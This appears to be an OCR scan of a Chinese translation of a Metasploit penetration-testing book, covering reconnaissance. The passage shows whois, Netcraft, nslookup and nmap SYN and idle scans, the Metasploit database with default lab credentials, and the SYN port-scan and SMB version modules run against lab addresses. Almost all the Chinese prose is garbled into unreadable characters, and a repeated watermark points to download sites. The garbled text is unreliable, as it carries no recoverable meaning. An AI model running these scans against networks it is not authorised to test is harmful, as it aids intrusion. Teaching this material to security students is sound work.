BRI %, VR RETE ERBY T B 9& K I x86/shikata_ga_nai Zit5 4%, TE Metasploit
FME—— AN Excellent M40 38, MXFFERET — MRS AT FEtE MR e HoRAT
VAT H . X Fafg8%, — Excellent B AARA SR TR, H BB 4G e80T LAA
P RKBEEMABRME. WRFEEET BN ARRGEEE, RATLMER msfencode H-]
SH, WG LU MR AT T BOR.

root@bt:~# msfencode -1

2.3.3 Nasm Shell

nasm_shell.rb DhEEREFFEMRZIR T RICHRAR S X R M EFEERHBFLTR, Bk
VRBEATIBF AL TF R BT, VRTTEX 4G 2 B G £ $R tH E B opcode BRAERS, FB 433K vT LAf# A X
N IHEEREF R BIIR .
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&i&EN R 15 M

tbin, MBAVEATIXANTI, HilK jmp esp e74H opcode #EAEFSET, nasm_ shell Bf &4
WA FF E4.

root@bt:/opt/framework3/msf3/tools# ./nasm_shell.rb

nasm > jmp esp
00000000 FFE4 jmp esp

2.4 Metasploit Express #1 Metasploit Pro

Metasploit Express 1 Metasploit Pro & Metasploit fE 22 {9/ M4k Web £ 84, XK
PRERAE T AR W el SR A B0 ThRE, EFT F16E8518 A 5 dhf# Al Metasploit #1F, R {59k
Ht T %4 Metasploit HEZE (K155 4 U5 ] 2 11 o IXBIAN P gl B4 17— L47F Metasploit # X A4 &
AT H, Wnasith 04848 T AR Gah M Tt TR, 54 Metasploit Pro ) —4MR
PR S A B S, A UGS S SO AT PR BT BL: mTEHS.

IXERAHFNTG? REIRA A RBMETER. BRAR Metasploit & AHRMLAT18E
D TRV BTHE R B, BT LA SRXEX 6y AR R £ PIFE ¢ 3 51T Ik, (AN RiX gk
i P Y A AR B 2D (1 I I B A R T & A W Bh G, Rt ] LK ER I,

B, AFEENMRMEENRTEN, RE-HIEEME, ALK Azt TREER
RBT p 38 AR

2.5 NG

EARTER, IR¥ 3T RT Metasploit HEAM)—LBLiti . SUREEEE AN, ok
PEEEARIX L T B R R I T . VR R BRAE FE AR R ¥ B A0 P e R 52 FR R RE 38 1 K
R0, BB HROERBEZ, BARSEABLEESRFE RN TRAMRRTRAS.

PR CEHH TR BRI AR, Ak RAILER BN AT R F—3Y.
7 B,

14

24 W WwW. 176K u.CoM



BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

w ik E

TR R R AT B LAERET, REBNRBRE PN _NPR. HRAENENL
RHAZIE B AR IMERAE R, DT BRAREE TR, #emENEIE, X YN
HIEAE BT, AR Lk 8258 B PR RAF FEE A A AR B R P o SRS R AR T/EA B A L,
AAVRTTRES ST F A B RGBT B ) B AR R 220 . R EEN T RESAS
MR P38 % f B Google hacking. e e B ARA M 2t 4 $hBEAT SRR BB 56, IXEE T4
FEEFEBRKOME, SEBEERANORE. HHREETAEFTERER . A, mEEE
MEERENBLEMEEDIEZEEMRES . £1XSBWP, RESERTREMEREHR
AEME AR, HERR il BOEEENGE S EAFEE, MERRYAFERES
PR S TC (O B A ) B R 4 TR IR LRI .

T IRBR LA, RN SEE MRS — P RAENBI NS RIEKTR. 8
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i#i% Rt 45 i

A FE AT R, PR FURTT AE 140 R B R AT AT e R REBEEEK
B : TSRS R R RS R T R R R AR E R W B A B AT LA
HRMLRER—H, W% FE M5B R RN R 24 B8 A FTic R A SORR EI AR L
fEid 2.

TR T RE R — BB R P B EEMHT, FAERRENE TR, R
TAEHHATIE R, B, MBG KEWEW. A ERETOTR, ERATSEBGELA,
WRIRELKR T HirA A %A 2NER.

SHFRE AR, BERR T BWE) A O K HER BORER G I RI root B, (EARTRE

BHR, SHZAREEREAT.

BE. AT EEAANBOREA TRAMFE A L0 RARAKE 460 £ %, B ik
RIATLAE A O 2B T K. (BHB, HEFREA) ABPREFFF 06T
BAARRME, THAYAEFFARGTAR, AE T beMiXy ki TREERATH
SRILEAE, FAKETIE, FEHEENE,

3.1 #HIEBEE

s, EERNGEBRERT, RTUER RS AFRENELTEZHERER. 2
B % ﬁ*ﬂ@lﬁiﬁﬁ‘i‘ﬁﬁﬁ%ﬁ%ﬂﬁ-ﬁﬁ*ﬂ@%@?ﬁ)\ﬁ’ HZTHREIE M PR
) BV R G0 R Y i R 45 AR SR A O 2 Y

ATFFEENEHR (OSINT) £ x4 FFF CAnfE Bk A A& B T LRI H brfa it
4. — A TRKMGLEE BRETEREARIERE, HHa4E Ye M1 Whois F. 7EART
o, BRAVKEH MG BRELRE, URKRAEGIE Ao AR 0 T R%M.

X B RAVE W — KEEXN http: //www.secmaniac.net/W 35 1 Bt . B AT 18 H #5286 & B
R A G WA ARRMBRERBRMNEEAHHE RS, XHLEBFENIK TP LA
S8 . HREETHEPRILN - EXBRETRIANAZAFANE, NARELSG
i Bz 5h .

3.1.1 whois Eif]
BRATTMAEFH Back|Track i) whois 2 #)3-#£ secmaniac.net B384 IR 5 BN F-.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

HI3E MK

mst > whois secmaniac.net
[*] exec: whois secmaniac.net

.« « « SNIP . ..
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10

ODomain servers in listed orxder:
NS57.DOMAINCONTROL . COM
NS58.DOMAINCONTROL . COM

FEORRANTRIIKA (DNS) fES528 1 DOMAINCONTROL.COM 4, XX FAfeBti
EENARKHAEG TF. S XEHMD, DNS REBETHBEAEAT AL, TTLABENK
i o B EE ST DNS AR %5 28 F DX S A% 5 Bty DA R F AR AU Bty , Bt & 8 W e 38 38 tH— 1>
P2 N T R AN IR B 15 B (BEEXMGRT, DOMAINCONTROL.COM ¥ AV secmaniac.net
BT, FTUABRAIAREX X S5k 42 IR 5 88 EAT Teile, N 4B 3| M p Bl A b

3.1.2 Netcraft

Netcraft (http.//searchdns.netcraft.com/) J—/M IR T K TR, {#FHERIIGE®S RIAE
FARr 2 MR S5 28 1P Mk, Wk 3-1 Fras.

Site NELR: v SECBniec.com Last reboot unknGen B uptime graph
Damain sacmaniac.com Motbiock ownaer WIDEOPENWEST OHIO
IP address 75.118.185.142 Sité rank 52103
Country HEus MAMaserver nsd no-ip.com
Date Mrst sean Juty 2009 DNS admin hostmaster@no-ip.com
Domaln Registrar no-ip.com Reversa DNS d118-75-142-185 trywideopenwest com
Grganisation ATTN: seemaniac com, 5o No-[Rcom Registration Privacy, RO, Box 19083,  Namaserver Vitahwerks Internet Solutions, LLC, 100 Washington St., Sulte 250,
Reno, 89511, United States Organisation Reno, B9503, United States
Check snother site: ["'_—_—' Matcraft Site Report '+ Go gies |
S i . [More Netcrant Godgers] %

B 3-1  {#HH Netcraft 348 H A3 T A5 P 04 1 il 55 28 TP Hiht

Y B secmaniac.net B 1P Hhlib /2 75.118.185.142 J5, BA1HEM— Y& AHiX 1P #hikA whois
£
msf > whois 75.118.185.142
{*] exec: whois 75.118.185.142
WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118,0.0 - 75.118.255.255

WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-184-0-1)
75.118.184.0 - 75.118.191.255

M whois B #) 45 RBAVR I WIDEOPENWEST &2 KRG R MRS IROtA. BTH
LT M EHAEMAE secmaniac.net B secmaniac.com B4 T, RATRESS | Wrix /> B9 35 1] e
BATHERFARNZEER, BN P Huht BRI K EEH P Bk B A .
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% i35 i

3.1.3 NSLookup
T IREE TF RS NS R, BATMER Back|Track $44T nslookup, X% ¥ E R4
R T XA T, AR & RAZ W secmaniac.net F1E 215 K

root@bt:~# nslookup

set type=mx

> secmaniac.net

Server: 172.16.32.2
Address: 172.16.32.2#53

Non-authoritative answer:
secmaniac.net mail exchanger = 10 mailstorei.secureserver.net.
secmaniac.net mail exchanger = 0 smtp.secureserver.net.

fFELRFFRS, BRINEDNH4RS R DNS iCkI8 [ mailstorel secureserver.net
smip.secureserver.net. {RBIE, XLEHRAFARS SRR MFE =7 E4EH, FFAERNFEERX
TaE M.

FIERTHNIE, BAICESHEN T LESFETHEPITRSHIINAGMENEIRGR. &R
BARANEE(E Bh F3h15 BIESARXT Hdx 1P #hik (75.118.185.142) BT B HERA A B

R BAELHER—NZR, ERANLAALS R LEY. TasE %
# A iXMATHR A (PTES; http://www.pentest-standard.org/ )" L& 75 ik, wRARMMEHIE L
4.

32 EEEEE

FEEERRETHED, RINEHBRRAEEL L, AT TR T 256K
B, FATTRT LABRAT S DR A 58 H AR RGETTICT Wb L 11, 384T TR iR% . BRI 4F
W ENBGEAT PRRS, P LBERNRNS. EREFER. MRREESFEEREL
R AL, BARBITRSIBEARRARLE (IDS) MARMBARLE (IPS) HiEE, X%
FHRE— AT BB S B EIAH R AR BINEIR .

3.21 £ Nmap i#{Tis 01358

W s s RIEEMHET BHRr IP BEE GXEILL secmaniac.net (¥ TP k441>, A
AT DA FFRA 45 3 A6 3R B H AR P O3 O o 3 D f LR se bR B R E A TR P i 1
KERVERE, A\ T MR L R TR . (IR B R B bR KRk, BAIEHRSAEEER
IP Huk, TARAEFFHE—A 1P

B H AT A5, Nmap £ TR D8 TH, '© 5 Metasploit IR 1HRZ“BREKES ",
7E Metasploit F, Nmap Kih 45 B o] MRAFZE 5 i B0 PR DL & JE 46 (8 Al . Nmap BB LEAR—
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

FIE WHIBEE

WHHBSKR LV 86 BV TR RS, P e RS HATRE - MEARENAD,

fEAB S, BAVEIE seemaniac.net THAEE 34, WRIFHMMF A PHER 1P bk
172.16.32.131 MIREINL, FRATE A E/EABANHS: nmap AT HARFENL. FFUG.2HT, iF
74/ Back|Track FHLEIHr 44T+ A nmap 4, &% nmap L EPRAED,

RELZ K nmap HEEZHSEIED, ALiFERZHER FRMNA S35 m
—/NER4Y .

BATHEAE AT nmap AT Z —Z-sS, FRERHAT —IKEAREAY TCP 338, LI e KAV e i
TCP ¥ B H I 5 —MNEFEMETUE-Pn, B2 %5VF nmap REFH ping fir & st R 41
R, M2BRIAE VA RfAERE. XAETGEH T Internet 2B 0SS, B A
1E Internet K 2 UM B IIA R ping T2 FTER K “Internet 3 HIFR TP (ICMP)” #AT,
WUR S AEH ping AT R, B ARAI SR UF 2 L brfrim i £, 020 RIRTE A W I ER BT
*1iZ4T nmap, WIATLLZESBLIXASETE DLt RE A .

BRTE L FAT M FH -sS F-Pn SIS FRAT1H9 Windows XP EERIFIIAT — 1 18] 22 nmap F13%.

root@bt:~# nmap -sS -Pn 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.00057s latency).

Not shown: 990 closed ports

PORT STATE SERVICE

21/tcp  open fip

25/tcp open smip

Bo/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

1025/tcp open NFS-or-IIS

1433/tcp open ms-sqgl-s

3389/tcp open ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

WPRAT I, nmap SR E -~ BOR KPR, HBER R O R HEH EHSE R % K

AT RBMEZF R, UL A-A B0, SRR TR R RS B RBAR IR, X
SRR R RIRAL B AR RAE LKA THEE . THERIMEA-sS M-A I, X4 R H ird 6
HEIKER.

root@bt:~# nmap -Pn -sS -A 172.16.32.131

Nmap scan report for 172.16.32.131

Host is up (0.0035s latency).

Not shown: 993 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;%M 15 7

777/tcp open unknown

1039/tcp open unknown

1138/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM

. SNIP . . .

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

Service Info: 0S: Windows

Host script results:

| _nbstat: NetBIOS name: V-MAC-XP, NetBIOS user: <unknown>, NetBIOS MAC:
00:0c:29:¢9:38:4c (VMware)

| smbvz-enabled: Server doesn't support SMBv2 protocol

| smb-os-discovery:

| 0S: Windows XP (Windows 2000 LAN Manager)
|  Name: WORKGROUP\V-MAC-XP

3.2.2 7 Metasploit i {F FEIEE

WEARIE E BT — I 22 B B AR T1E, A KRMONLE R, RABERHAKEREL
FETFRHFESH. FIEME, Metasploit ML 7 A L RHAR FERS 121, XLHKIBERBHE)
YRTERRIX S AL TAE.

YRAT CARHE 28 Ge O BOE 5 S0 118 k% #% Metasploit i Fl U BE FE A, Metasploit SCHF
MySQL. PostgreSQL A SQLite3 $¥i5/E, WATEAKITIRTH{EA PostgreSQL 161+, B
H°E R Metasploit BRIAKT.

Bk, IRAE FHERAE Back|Track I init.d A 5 sh 838 T R4

root@bt™# /etc/init.d/postgresql-8.3 start

PostgreSQL JAENJ5, A1l Metasploit HES2%E 8 )X A4 B skl Eo ERPIBIEERE
R4, 04, ETHEREREN T4 AR B FH A BAEFE4 . Back|Track ' PostgreSQL
BRNKI A P & & postgres, 14 toor, BATRAEFH msfbook 1 I HABFEAZ . AW T dy$ E ST
5504 PR B

msf > db_connect postgres:toor@127.0.0.1/msfbook

RS - REED msfhook HHEFE, BMNSEN—HTEKARH, XREHBT Metasploit
LRI LA EIER. MBEARS UOEE, X&MSSHEER F| MSF £iRE5RF, F
TS, _

Metasploit 4t — R 5 16y LA 6E 5 R FEAT A, XX dr S MM ERMER T
AR BFANEZN, MBEFE D TBOBIEER SR, TLLE MSF LM help XEE .
BAE, BRAVER db_status £y 2R HH A BHEIER £ IEF .
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

FI3IW THmEN

msf > db_status
[*] postgresql connected to msfbook

BEX—VIEH.

1. 3 Nmap $iltt 1945 R 3\ Metasploit

MRS AL R P E TR R TR, AS[E A R RELEAS B i i ) A 45 AT
i, NAT BTSN AMSLIZITH nmap 3345 R 5 A B Metasploit HERP, FEBRITE
B TR~ nmap AERRAIEEA XML #5304 GEIL nmap #9-0X B4R § A F Metasploit .

B, BAIZHXE Windows BEALHLAE Fl-oX BT, AR —A% K Subnetl xml
A

nmap -Pn -sS -A -oX Subneti 192.168.1.0/24

XML S SE, BATEH db_import a7 2K 30 S A BIEAEFE . #ETEfE, TLifE
Fl db_hosts fr &L FAME R, db_bosts & ¥ B REWEEFHEREFHENER, WF
B/

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subneti.xml
msf > db_hosts -c address

192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192,168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192,168.1.155
192,168.1.174
192.168.1.180
192,168.1.181
192,168.1.2
192.168.1.99

msf >
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 1% st 45 B

HRATIT db_hosts @45, IRET A LW IP #uhtFlER, XiFBRA DRI
nmap iyt F A F| 7 Metasploit 1.

2. &% Nmap H##I5: TCP TR

—FPSE N nmap 987 U TCP EWAIHE, XMHEMELRMNEEMSE 6%
LI IP Mkt XF HAREATE AR, TR, BINTTFEEME LEfr a4
FIE 1P WibA M (IPID: I FERER IP BAIKFFH—REAR) MBI W ENL (BRERZE
PUAE—BURF 2 I 18] 9 AN 1] R 48 A X Bl 400 . JRATRIVZAE G EHE, B/ IP MiFRRA
PARC TN, B rl DIV R E T A 1P BIERIR. JBAIE RXE W ENK 1P
bRt H bR EHURISEANR D BATERIE R R B LSRR A 1P iR UL TAR A TP
PR MR, R4 B 10 D R TR . CnSRAR T MRTE £ o0 TR B L K TP Ml
WHEME R, AT LU ia) hap://www.metasploit.com/modules/auxiliary/ scanner/ip/ipidseq/. )

] LA# ] Metasploit HESLH) scanner/ip/ipidseq #5E, K FRAEBHEL TCP THRHARERM
LR EH, WTFHUR:

msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options:

Name Current Setting Required Description
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
©  RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
®  THREADS 1 yes The number of concurrent threads
TIMEQUT 500 yes The reply read timeout in milliseconds

EAFNRER TPAT ipidseq IR IASH . X RHOST 2HOBTHHA, e
T LI 1P HuhkEY (4o 192.168.1.20-192.168.1.30) . CIDR (BRI |R) ki) Muaktk (o
192.168.1.0/24) . &5 4rMaf £/ CIDR Huhbth ({0 192.168.1.0/24, 192.168.3.0/24) , LL
BAEATEA A 1P bk 1P FURSCASIA: (W0 file/tmp/hostlist.txt) » XEHEINIERAIIER E
P s R R KRG

7E THREAD Z¥ @@ A& RN, Fif HEfERRBRIAEEECh 1. s EdEn
LISE R, MRS EETT LR Mg LRI mRE. —Aokilk, 7 Windows F & LIEfT
Metasploit, K2 BIFAERT 16, 72 UNIX FEBITAERL 128,
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

EIE HHREE

BARA TR B SR H BT HB . RA14E RHOST B4R E K 192.168.1.0124, K4
BHCORE R 50, RIRBirH.

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(ipidseq) > set THREADS 50

THREADS => 50

mst auxiliary(ipidseq) > run

[*] 192.168.1.1"s IPID sequence class: All zeros
[*] 192.168.1.10"'s IPID sequence class: Incrementall
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID sequence class: All zeros

® [*] 192.168.1.109's IPID sequence class: Incrementall
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154"s IPID sequence class: Incremental!
[*] 192.168.1.155"'s IPID sequence class: Incremental!
[*] Scamned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181"'s IPID sequence class: Incrementall
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) »

W S RBIT AN, BIOERAEENLHEVTHFZHEEAMHM. BIOIZEAE nmap
s -s1 B TR E O P IRELAY 192.168.1.109 4£ 5 2 W L0 B br EHLETHE.

msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155

Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:

Not shown: 996 closed|filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 00:0C:29:E4:59:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds

msf auxiliary(ipidseq) »

AR, RATTLAR 85 1P #ubtr B iR EHURREMBES, REERRE EirE
HLEFF B SR DR B
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit ;&iE {15 fa

3. # MSF £ixiE{T Nmap
MARNMNDLEE TR HFRE BNEEETS, FiTikE A3 nmap Fl Metasploit 45& K

M. HARINTEEESD msbook B FE:

msf > db_connect postgres:toor@127.0.0.1/msf3

PRI B B s T LA db_nmap 4>, XM B8 4E MSF #4552 1T nmap, ¥

A3 nmap & RIFEEBIEE .

BR: AP RMALE AW, 224K TAEA CIDR AFLR I EATLIEE EA

IP ik (fdw: 192.168.1.1/24 %, 192.168.1.1-254 ).

msf > db_nmap -sS -A 172.16.32.131

Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 172.16.32.131

Host is up (0.00056s latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

21/tcp @open ftp Microsoft ftpd

25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 @
80/tcp open http Microsoft IIS webserver 5.1
|_html-title:

135/tcp open msIpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sgl-s Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcp open microsoft-rdp Microsoft Terminal Service

MAC Address: 00:0C:29:EA:26:7C (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003 @

0S details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

Service Info: Host: ihazsecurity; 0S: Windows

Host script results:

| _nbstat: NetBIOS name: IHAZSECURITY, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ea:26:7c
| smb-os-discovery:

| 0S: Windows XP (Windows 2000 LAN Manager)

| Name: WORKGROUP\IHAZSECURITY

|_smbv2-enabled: Server doesn't support SMBv2 protocol

05 and Service detection performed. Please report any incorrect results at http://mmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds

BMNSERIEMSRPET -RIDTBENROO0. BiEA0. EERNHFRIERS

REFHIO .

24

24 W WwW. 176K u.CoM




BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

E3E RIS

A LA AT db_services fir- &R B H B P IR T RS LT RS MG R .

msf > db_services

Services
host port proto name state info
172.16.32.131 135 tcp  msrpc open Microsoft Windows RPC

172.16.32.131 139 tcp  netbios-ssn open

172.16.32.131 445 tcp microsoft-ds open Microsoft Windows XP microsoft-ds
172.16.32.131 777 tcp  unknown open

172.16,32.131 1433 tcp ms-sql-s open Microsoft SQL Server 2005 9.00.1399; RTM

FRRNCLHEH T HIRKREEE, L& EA B ST D .

3.2.3 {# M Metasploit #1{Tim 1333

fE Metasploit ‘PAMAESS A =7 428, M B MBMER P s T LR NI 5
8. XENROEARHBERE HHS Metasploit HERBAT TREE, EHBBTIEE LT
HHEEAFRE. FREAFEP, RATE QB F I L g8 #7 2870 2 B0 8 A R EHL,
BRI P9 A B U LR AT G, XA B BGE O AE RARON BR B, e ERAAE A
A8 Py AR LI R B, Hs B M Bk R B R A VR BA 6 B .

R, BEREME T — &AL TR k2 5 A M4 bk (NAT) BEHL. XEE
BUER JCiE M Internet FLEIERE ARG 1P bk, 0 RYRA B EEW 4 H Metasploit X7 T NAT /&5
7B ERVREAT Bk, AR HRAT AR CBBE ) NP D BRAR, K o B A 2% 2 W 48 P S
Bl k.

A LI TN T 74 B Metasploit HEZR IR 4ERIIR D35 T H.

msf > search portscan

T BRAIER Metasploit 9 SYN g D f 880 S EHLHEAT R B g4, B e
use scanner/portscan/syn, #AJ5 % RHOST ¥4 192.168.1.155, ¥ ELREHH 50, &5
WATEIH#.

msf > use scanner/portscan/syn

msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155

msf auxiliary(syn) > set THREADS 50

THREADS => 50
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

o

Metasploit ;&iEMi# H5

msf auxiliary(syn) > run

©® [*] TCP OPEN 192,168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*¥] TCP OPEN 192.168.1.155:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn} >

&R0 kb B8 F I, FAT1F) F Metasploit 8 portscan/syn $EHAE 1P Huk A 192.168.1.155
FIENL EEBLT 135, 139 £ 445 4 V2T

3.3 §txiEEsE

B BIR TS, ALK FREEERTISE — L5, KRENT AN A X
FHEERE . et TE TR E PR S o AE7E ) 50 m) R IR B AR 85 AR RIS ] FO %
SERERS. % WAL EBM. 25k, 15EARPSh IR #TFE MS08-067
RIAM EFRIER YRATES, Bk MS08-067 (1338) £ — M EEFENZERWA, AW
iEPRIR PR AE SYSTEM Ml AU, thiRAH BB NE T A RAERAEERLR/E.

3.3.1 BRFERIADRBARE
Metasploit 7] LAR FI'E B smb_version BEERFH 1] — M 4%, I IKHL Windows RS HIRA T o

BR: dwRARIRE RN LR (SMB: — ANl AW AFEFHal) 7 A, Lk
w4 ik 2 AT, AT A AT - TAAN TH., HRER2THEX Tl a s —& ki
iR, A EEF G T AR AT — A B Gt AT R S,

TFTRBIBATIX MG, FIHSE, HX RHOSTS S2HEMTERE, RGITHEEH:

msf > use scanner/smb/smb_version
msf auxiliary(smb _version) > show options

Module options:

Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

msf auxiliary(smb_version) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(smb_version) > run

© [*] 192.168.1.155 is running Windows XP Service Pack 2 (language: English)
(name :DOOKIE-FA154354) {domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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BTt T ARUETAEE RN 2 S 2, AT AN 2 Ath F sk B 94T A4, 75 N 24 147 1) S B BUR R SRR B AT o z!xﬁg%lﬁﬁa\i%ﬂﬂ
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
